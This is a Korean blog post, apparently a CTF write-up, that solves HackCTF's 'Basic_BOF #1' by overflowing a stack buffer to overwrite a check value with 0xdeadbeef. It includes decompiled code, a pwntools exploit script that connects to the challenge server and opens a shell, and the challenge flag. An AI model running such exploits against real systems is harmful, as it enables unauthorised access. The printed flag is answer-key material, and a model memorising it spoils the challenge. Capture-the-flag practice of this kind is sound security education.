ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • Basic_BOF #1
    CTF/HackCTF 2021. 1. 21. 00:31

    Disassembly 디스어셈블리


    undefined4 main(void)
    {
        undefined auStack60 [4];
        char *s;
        int32_t iStack20;
        uint32_t var_ch;
        undefined *puStack12;
        int32_t var_4h;
        
        puStack12 = &stack0x00000004;
        iStack20 = 0x4030201;
        fgets(auStack60, 0x2d, _reloc.stdin);
        printf("\n[buf]: %s\n", auStack60);
        printf("[check] %p\n", iStack20);
        if ((iStack20 != 0x4030201) && (iStack20 != -0x21524111)) {
            puts("\nYou are on the right way!");
        }
        if (iStack20 == -0x21524111) {
            puts("Yeah dude! You win!\nOpening your shell...");
            system("/bin/dash");
            puts("Shell closed! Bye.");
        }
        return 0;
    }

    main() 함수를 살펴보면 iStack20을 auStack60의 buffer overflow를 통해 변조하면 된다는 것을 알 수 있다.

     

    main()

    fgets는 [s]인 ebp-0x34부터 입력을 받기 시작하고, 목표는 [var_ch]인 ebp-0xc를 덮는 것이다.

    Buffer Overflow


    따라서 0x34-0xc 만큼의 더미 뒤에 0xdeadbeef를 입력하면 문제를 해결할 수 있다.

     

    Code

    더보기
    from pwn import *
    
    binary = "./bof_basic"
    server = "ctf.j0n9hyun.xyz"
    port = 3000
    
    # context.log_level = 'debug'
    context.binary = binary
    
    p = remote(server, port)
    # p = process(binary)
    e = ELF(binary)
    
    payload = b"A"*(0x34-0xc) 
    payload += p32(0xdeadbeef)
    p.sendline(payload)
    
    p.interactive()

    Flag

    HackCTF{f1r57_574ck_buff3r_0v3rfl0w_5ucc355}

    'CTF > HackCTF' 카테고리의 다른 글

    Simple_Overflow_ver_2  (0) 2021.01.21
    x64 Simple_size_BOF  (0) 2021.01.21
    x64 Buffer Overflow  (0) 2021.01.21
    내 버퍼가 흘러넘친다!!!  (0) 2021.01.21
    Basic_BOF #2  (0) 2021.01.21

    댓글

Designed by Tistory.